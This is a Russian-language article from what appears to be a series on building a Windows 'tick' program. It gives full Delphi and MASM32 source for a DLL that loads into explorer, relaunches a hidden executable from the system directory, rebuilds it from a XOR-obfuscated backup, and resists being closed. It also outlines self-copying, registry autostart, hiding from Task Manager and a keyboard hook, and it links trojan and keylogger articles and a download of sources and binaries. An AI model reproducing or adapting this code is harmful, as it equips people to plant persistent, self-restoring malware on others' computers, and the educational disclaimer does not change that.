Продолжаем статью "Клещ для MS Windows". Вот исходники дополнительной библиотеки для автозапуска и восстановления exe-файла
dll2.dpr (Delphi32):
library dll2;
uses
Windows, ShellAPI;
var
WinDir1, WinDir2, WinDir3 : String;
CommandStr1 : array[1..1024] of Char;
cmd, sf, sf1, FHndl : Cardinal;
const
// Имя приложения
AppName = 'EXE1';
// сообщение окну приложения, что надо закрыться.
// иначе закрыть его будет нельзя - перезапуск стоит.
// а закрыть надо при выходе из MS
Win.
WM_EXE1 = 1024+111;
procedure DLLMain(Reason: Integer);
var
Par1 : HWND;
begin
// если dll открепляется
// находим окно и шлем ему сообщение о закрытии
if Reason=DLL_PROCESS_DETACH then begin
while true do begin
Par1:=FindWindow(nil,AppName);
if Par1=0 then break;
SendMessage(Par1,WM_EXE1,0,0);
end;
end;
end;
procedure AutoProc;
begin
//просто функция
end;
exports AutoProc;
// если dll прикрепляется к explorer-у
begin
// Имя файла
WinDir1:='\exe_asm.exe';
// Получение пути для файлов в системном каталоге
FillChar(CommandStr1,1024,0);
GetSystemDirectory(addr(CommandStr1[1]), 1024);
WinDir1:=CommandStr1+WinDir1;
WinDir3:=CommandStr1+'\exe_asm.dop';
DeleteFile(PChar(WinDir3));
// Запуск
if WinExec(PChar(WinDir1),9)<32 then begin
// Если не вышло, то восстановим из dat-файла
// Имя файла c xor-енным exe-файлом:
WinDir2:=CommandStr1+'\exe_asm.dat';
cmd:=_lopen(PChar(WinDir2), OF_READ);
// если не вышло - на выход
if cmd=HFILE_ERROR then exit;
// получаем размер
sf:=GetFileSize(cmd, nil);
// резервируем область в памяти
FHndl:=GlobalAlloc(64, sf);
if FHndl=0 then exit;
// читаем содержимое в память и закрываем
_lread(cmd, addr(FHndl), sf);
_lclose(cmd);
// разXORиваем данные в памяти по значению 32
sf1:=0;
while sf>sf1 do begin
asm
mov edi, FHndl
add edi, sf1
mov al, byte ptr [edi]
xor al, 32
mov byte ptr [edi], al
end;
inc(sf1);
end;
// создаем exe-файл
cmd:=_lcreat(PChar(WinDir1), 0);
// пишем туда
_lwrite(cmd, addr(FHndl), sf);
// закрываем и освобождаем память
_lclose(cmd);
GlobalFree(FHndl);
end;
end.
dll2.asm (MASM32):
.386
.model flat, stdcall
option casemap :none
; =========================
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
; Имя приложения
AppName db "EXE1",0
; сообщение окну приложения, что надо закрыться.
; иначе закрыть его будет нельзя - перезапуск стоит.
; а закрыть надо. при выходе из MS
Win.
WM_EXE1 equ WM_USER + 111
; Имя файла
AppName1 db "\exe_asm.exe",0
DopFile db "\exe_asm.dop",0
; Имя файла c xor-енным exe-файлом
DatName db "\exe_asm.dat",0
.DATA?
WinDir1 db 1024 dup(?)
WinDir2 db 1024 dup(?)
WinDir3 db 1024 dup(?)
cmd dd ?
sf dd ?
FHndl dd ?
; =========================
.code
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
; если dll прикрепляется к explorer-у
.IF reason == DLL_PROCESS_ATTACH
; Получение пути для файлов в системном каталоге
invoke GetSystemDirectory, addr WinDir1, 1024
invoke lstrcpy,addr WinDir2,addr WinDir1
invoke lstrcpy,addr WinDir3,addr WinDir1
invoke lstrcat,addr WinDir1,addr AppName1
invoke lstrcat,addr WinDir3,addr DopFile
invoke DeleteFile, addr WinDir3
; Запуск
invoke WinExec, addr WinDir1, SW_RESTORE
; Если не вышло, то восстановим из dat-файла
.IF eax < 32
; Получение пути dat-файла в системном каталоге
invoke lstrcat,addr WinDir2,addr DatName
; Попытка открыть
invoke _lopen, addr WinDir2, OF_READ
; если не вышло - на выход
.IF eax == 4294967295
jmp enddat
.ENDIF
mov cmd, eax
; получаем размер
invoke GetFileSize, cmd, NULL
mov sf, eax
; резервируем область в памяти
invoke GlobalAlloc, 64, eax
cmp eax,0
je enddat
mov FHndl, eax
; читаем содержимое в память и закрываем файл
invoke _lread, cmd, FHndl, sf
invoke _lclose, cmd
; разXORиваем данные в памяти по значению 32
push edi
mov ecx, sf
mov edi, FHndl
labdat:
mov al, byte ptr [edi]
xor al, 32
mov byte ptr [edi], al
inc edi
loop labdat
pop edi
; создаем exe-файл
invoke _lcreat, addr WinDir1, 0
mov cmd, eax
; пишем туда
invoke _lwrite, cmd, FHndl, sf
; закрываем и освобождаем память
invoke _lclose, cmd
invoke GlobalFree, FHndl
; Попытка открыть
invoke _lopen, addr WinDir2, OF_READ
.ENDIF
enddat:
ret
; если dll открепляется
.ELSEIF reason == DLL_PROCESS_DETACH
; находим окно и шлем ему сообщение о закрытии
.WHILE TRUE
invoke FindWindow,0,addr AppName
.BREAK .IF eax == 0
invoke SendMessage,eax, WM_EXE1,0,0
.ENDW
.ENDIF
ret
LibMain Endp
; =========================
; просто функция
AutoProc proc
mov eax,0
ret
AutoProc endp
End LibMain
Компилируем так же, как и первую dll.
У нас есть 2 дополнительные библиотеки. Их необходимо включить в exe-файл. Есть основные 2 способа это сделать. Склеивание файлов и включение в exe области данных, содержащих другой файл. Все это рассмотрено на моей странице
www.danil.com.ua в статьях "Troyan #3" и "Клавиатурный шпион". Более предпочтителен второй способ - exe-файл потом можно сжимать. Для формирования области данных из файла можно воспользоваться моей программой F_to_Dat.exe, которую можно найти на моем сайте www.danil.com.ua в разделе "Мои статьи".
Рассмотрим алгоритм работы exe-файла.
1. Если запущен не в системном каталоге MS Windows (первый раз), то:
1.1. Создать из области данных 2 дополнительные библиотеки;
1.2. Переписать себя в системный каталог;
1.3. Из переписанного файла создать дополнительный файл, который будет содержать xor-енный exe-файл;
1.4. Запустить себя из системного каталога и завершить работу.
2. Создать окно (просто так).
3. Проверить параметры автостарта дополнительной dll в реестре и, если их там нет, записать их туда.
4. Инициировать запрет на прерывание в TaskManager-е и скрыть по "Alt"+"Ctrl"+"Del".
5. Вызвать SetWindowsHookEx с функцией из второй дополнительной dll.
В следующей статье будут представлены исходники с подробными комментариями на MASM32 exe-файла.
Примеры:
mswin.zip - исходники и скомпилированные файлы, рассмотренные в статье.
P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.